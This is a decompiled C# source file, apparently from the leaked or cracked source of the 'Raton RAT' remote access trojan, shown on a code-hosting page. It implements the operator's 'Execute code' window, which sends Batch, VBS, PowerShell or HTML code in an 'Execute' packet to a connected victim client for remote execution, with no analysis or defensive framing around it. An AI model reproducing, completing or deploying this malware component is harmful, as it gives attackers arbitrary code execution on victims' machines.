Files
raton4.0-source/Raton RAT/Raton/Forms/ClientForms/Misc/ratonExecuteCode.cs
T

166 lines
6.5 KiB
C#
Raw Normal View History

2026-08-27 11:23:13 -06:00
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonExecuteCode
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using FastColoredTextBoxNS;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonExecuteCode : Form
{
private IContainer components;
private FastColoredTextBox fastColoredTextBox1;
private RgbBuildButton button1;
private Timer timer1;
public FlatComboBox flatComboBox1;
public SillyClient SillyClient { get; set; }
public ratonExecuteCode()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
this.timer1.Start();
}
private void button1_Click(object sender, EventArgs e)
{
string str = this.fastColoredTextBox1.Text.Replace("\r\n", "\n");
Pack pack = new Pack();
pack.SetString("Packet", "Execute");
pack.SetString("Type", this.flatComboBox1.SelectedItem.ToString());
pack.SetString("Code", str);
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Code sent successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void ratonExecuteCode_Load(object sender, EventArgs e)
{
this.fastColoredTextBox1.BackColor = Color.FromArgb(49, 51, 56);
}
private void flatComboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonExecuteCode));
this.fastColoredTextBox1 = new FastColoredTextBox();
this.button1 = new RgbBuildButton();
this.timer1 = new Timer(this.components);
this.flatComboBox1 = new FlatComboBox();
((ISupportInitialize) this.fastColoredTextBox1).BeginInit();
this.SuspendLayout();
this.fastColoredTextBox1.AutoCompleteBracketsList = new char[10]
{
'(',
')',
'{',
'}',
'[',
']',
'"',
'"',
'\'',
'\''
};
this.fastColoredTextBox1.AutoIndentCharsPatterns = "\r\n^\\s*[\\w\\.]+(\\s\\w+)?\\s*(?<range>=)\\s*(?<range>[^;]+);\r\n^\\s*(case|default)\\s*[^:]*(?<range>:)\\s*(?<range>[^;]+);\r\n";
this.fastColoredTextBox1.AutoScrollMinSize = new Size(235, 14);
this.fastColoredTextBox1.BackBrush = (Brush) null;
this.fastColoredTextBox1.BackColor = Color.WhiteSmoke;
this.fastColoredTextBox1.BracketsHighlightStrategy = BracketsHighlightStrategy.Strategy2;
this.fastColoredTextBox1.CharHeight = 14;
this.fastColoredTextBox1.CharWidth = 8;
this.fastColoredTextBox1.Cursor = Cursors.IBeam;
this.fastColoredTextBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
this.fastColoredTextBox1.IndentBackColor = SystemColors.InactiveCaption;
this.fastColoredTextBox1.IsReplaceMode = false;
this.fastColoredTextBox1.Language = Language.CSharp;
this.fastColoredTextBox1.LeftBracket = '(';
this.fastColoredTextBox1.LeftBracket2 = '{';
this.fastColoredTextBox1.Location = new Point(-1, -1);
this.fastColoredTextBox1.Name = "fastColoredTextBox1";
this.fastColoredTextBox1.Paddings = new Padding(0);
this.fastColoredTextBox1.RightBracket = ')';
this.fastColoredTextBox1.RightBracket2 = '}';
this.fastColoredTextBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
this.fastColoredTextBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("fastColoredTextBox1.ServiceColors");
this.fastColoredTextBox1.ServiceLinesColor = Color.DimGray;
this.fastColoredTextBox1.Size = new Size(668, 419);
this.fastColoredTextBox1.TabIndex = 0;
this.fastColoredTextBox1.Text = "// Type your code here! :)";
this.fastColoredTextBox1.Zoom = 100;
this.button1.Cursor = Cursors.Arrow;
this.button1.Dock = DockStyle.Bottom;
this.button1.Font = new Font("Segoe UI Semibold", 15.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_code_24_filled1;
this.button1.IconSize = 30;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(0, 438);
this.button1.Name = "button1";
this.button1.Size = new Size(665, 68);
this.button1.TabIndex = 2;
this.button1.Text = "Execute code";
this.button1.Click += new EventHandler(this.button1_Click);
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.flatComboBox1.FormattingEnabled = true;
this.flatComboBox1.Items.AddRange(new object[4]
{
(object) "Batch",
(object) "VBS",
(object) "Powershell",
(object) "Html"
});
this.flatComboBox1.Location = new Point(-1, 418);
this.flatComboBox1.Name = "flatComboBox1";
this.flatComboBox1.Size = new Size(668, 23);
this.flatComboBox1.TabIndex = 1;
this.flatComboBox1.Text = "Batch";
this.flatComboBox1.SelectedIndexChanged += new EventHandler(this.flatComboBox1_SelectedIndexChanged);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(665, 506);
this.Controls.Add((Control) this.flatComboBox1);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.fastColoredTextBox1);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonExecuteCode);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonExecuteCode);
this.Load += new EventHandler(this.ratonExecuteCode_Load);
((ISupportInitialize) this.fastColoredTextBox1).EndInit();
this.ResumeLayout(false);
}
}